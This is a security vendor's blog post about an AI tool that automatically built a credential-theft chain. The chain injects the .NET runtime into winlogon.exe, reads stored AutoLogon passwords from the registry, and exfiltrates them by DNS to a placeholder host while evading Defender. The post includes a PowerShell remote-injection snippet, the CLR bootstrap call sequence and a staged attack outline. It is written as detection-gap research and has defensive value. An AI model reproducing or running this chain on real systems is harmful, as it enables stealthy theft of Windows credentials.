top of page

Month of Bypasses Iteration 3: Winlogon's Got Your Credentials

  • 2 days ago
  • 4 min read

By the Persistent Security Research Team - May 2026


Process Injection - MITRE ATT&CK T1055.002

Last time, we loaded mimikatz entirely from memory without Defender noticing. This time, we take the next step: cross-process injection into one of Windows' most sensitive processes to check if AV or EDRs will catch this!


We inject a .NET CLR runtime into winlogon.exe, read stored credentials from registry, and exfiltrate them over DNS - all without triggering a single Defender alert. Specifically: We're bootstrapping the .NET Common Language Runtime inside the remote process via custom shellcode, as malicoius payload we're executing arbitrary managed code in the context of a SYSTEM-level critical process to do DNS-based data exfiltration of credentials or keystrokes.


All of the above including was created completely automated and verified via Nemesis AI!


What Defender Should Block

Cross-process injection into system processes like winlogon.exe represents one of the highest-severity attack patterns. Here's what we would expect to trigger alerts and lead to a catch:


Block 1: Remote thread creation into critical processes

$hProc = OpenProcess(0x1F0FFF, $false, $winlogonPid)
$mem = VirtualAllocEx($hProc, [IntPtr]::Zero, $size, 0x3000, 0x40)
WriteProcessMemory($hProc, $mem, $shellcode, $size, [ref]$written)
CreateRemoteThread($hProc, [IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [ref]$tid)

Sysmon EventID 8 fires when CreateRemoteThread targets a process like winlogon.exe. EDRs flag PROCESS_ALL_ACCESS handles to system processes. VirtualAllocEx with PAGE_EXECUTE_READWRITE into a remote process is a textbook injection indicator.


Block 2: CLR loading in system processes

winlogon.exe should never host the .NET runtime. The appearance of clrjit.dll or coreclr.dll in winlogon's module list is an anomaly so severe that any behavioral detection engine should flag it.


Block 3: DNS-based data exfiltration from system processes

Base32-encoded subdomain queries to unusual TLDs from a process that normally makes zero DNS calls is a high-fidelity exfiltration signal.


The conventional wisdom says all three layers should catch this. Let's see what actually happens.


How Nemesis Created The Technique

We tasked the Nemesis variant analysis engine with a precise objective:

Inject .NET CLR into winlogon.exe, read AutoLogon credentials from registry within winlogon's context, and exfiltrate them via DNS - entirely undetected by Defender on a fully patched Windows 11 system.

The success check was rigorous: verify CLR appears in winlogon's loaded modules, confirm the proof file contains the randomly-generated credential (preventing hardcoding), validate the winlogon PID matches, and confirm DNS exfiltration evidence. A random credential is planted before each run - the payload must dynamically read it from registry to prove it works. The proof-of-concept is also verified to not cheat by reading the registry directly etc..


Generation 1: The Diverse Injection Primitive Survey (5 variants, all failed)


Hypothesis: Try every known injection primitive against winlogon — one of them must evade Defender's CreateRemoteThread monitoring.

Variant

Injection Method

Result

NtMapViewOfSection

Shared memory mapping (no WriteProcessMemory)

Failed

QueueUserAPC

APC to alertable threads (no new thread)

Failed

D/Invoke NtCreateThreadEx

Indirect syscalls (avoid kernel32 hooks)

Failed

Thread Hijack

GetThreadContext/SetThreadContext (no thread creation)

Failed

Early Bird APC

APC before EDR hooks initialize

Failed


Five different approaches, five different ways to avoid CreateRemoteThread - all failed. One explanation: Defender could be blocking cross-process injection at a fundamental level, regardless of the primitive used. But that conclusion was wrong!


The Debug Breakthrough

Nemesis has a heuristic to detect such cases where everything fails and spawned a dedicated debug agent on Gen 3 CLR hosting shellcode variant to capture full stdout/stderr. The output revealed:

Add-Type : Constraint cannot be special class 'System.Delegate'
c:\Windows\SystemTemp\v1s2sbko.0.cs(2) : >>> public class ClrSC{...
    static T G<T>(string n) where T:Delegate { ... }

The failure wasn't Defender. It was a C# compiler error.

The where T : Delegate generic constraint is a C# 7.3+ feature. The .NET Framework's in-box csc.exe only supports C# 5.0. Every single variant so far had this same bug in the injector code - the injection never executed correctly. We were debugging phantom Defender blocks that didn't exist. The agent course corrected quickly.


Generation 4: The Truth (5 variants, 1 immediate success)

With the compile bug identified, Generation 4 used explicit delegate types instead of generic constraints.


It worked on the first try. 

The "canary test" using the most basic, unsophisticated injection possible passed completely undetected. No D/Invoke needed. No syscall unhooking. No thread hijack tricks. Just OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread into winlogon.exe.


The Complete Attack Chain

Here's what executes end-to-end without detection:


Stage 1 — Compile a .NET payload DLL using csc.exe. The DLL contains a Run(string) method that reads DefaultPassword from the Winlogon registry key, base32-encodes it, calls DnsQuery_A to exfiltrate via DNS, and writes a proof file.


Stage 2 — Build x64 shellcode that bootstraps the CLR hosting API chain inside the target process:

LoadLibraryA("mscoree.dll")
  → GetProcAddress("CLRCreateInstance")
    → CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
      → ICLRMetaHost::GetRuntime("v4.0.30319")
        → ICLRRuntimeInfo::GetInterface(CLSID_CLRRuntimeHost)
          → ICLRRuntimeHost::Start()
            → ExecuteInDefaultAppDomain(payload.dll, "PL", "Run", "go")

Stage 3 — Inject into winlogon.exe: allocate a data page (strings, GUIDs) and a code page (shellcode), write both via WriteProcessMemory, fire via CreateRemoteThread.


Stage 4 — The shellcode executes inside winlogon, bootstraps CLR, loads the payload DLL, which reads the credential, performs DNS exfiltration to <base32>.k.exfil-not-exist.example, and writes evidence.


The Result

Stage

Defender Detection

Behavior Block

Result

OpenProcess on winlogon (PROCESS_ALL_ACCESS)

None

None

NOT PREVENTED

VirtualAllocEx RWX in winlogon

None

None

NOT PREVENTED

WriteProcessMemory (shellcode + data)

None

None

NOT PREVENTED

CreateRemoteThread in winlogon

None

None

NOT PREVENTED

CLR bootstrap (clrjit.dll loaded in winlogon)

None

None

NOT DETECTED

Registry credential read from winlogon context

None

None

NOT DETECTED

DnsQuery_A exfiltration from winlogon

None

None

NOT DETECTED


Complete attack chain: NOT PREVENTED, NOT DETECTED.


This matters because it demonstrates how easy standard defenses can be bypassed by automated AI systems in fully-patched Windows 11 configuration, not triggering on the fundamental primitives even. Advanced EDRs could and surely find this (which we can test with a few clicks!).


The Cost

Metric

Value

Generations

4

Variants tested

13

Compute cost

< 5 EUR

Time to solution

~1 hours (including debugging and verification on a single thread)

Effective variants needed

4


The full atomic technique is available as a Nemesis BAS atomic: T1055.002_2 — Winlogon CLR Injection with DNS Credential Exfiltration.



The Month of Bypasses is a research project by the Persistent Security team. We are describing important aspects of variant analysis and limits of current defenses. Should we feature actual vulnerabilities beyond detection gaps, we will disclose them through the Belgian Coordinated Vulnerability Disclosure (CVD) framework via the Centre for Cybersecurity Belgium (CCB).

Nemesis BAS is available at persistent-security.net.

Have questions or want to test your own defenses? Contact us at info@persistent-security.net.

 
 

Keep up with the news!

Subscribe to keep updated about the latest product features, technology news and resources.

Want to learn more about how Nemesis can help you?

Fill in the form and we will contact you shortly or you can always reach us out via: info@persistent-security.net

Schedule an appointment
May 2026
SunMonTueWedThuFriSat
Week starting Sunday, May 3
Time zone: Coordinated Universal Time (UTC)Online meeting
Friday, May 8
10:00 AM - 11:00 AM
11:00 AM - 12:00 PM
12:00 PM - 1:00 PM
1:00 PM - 2:00 PM
bottom of page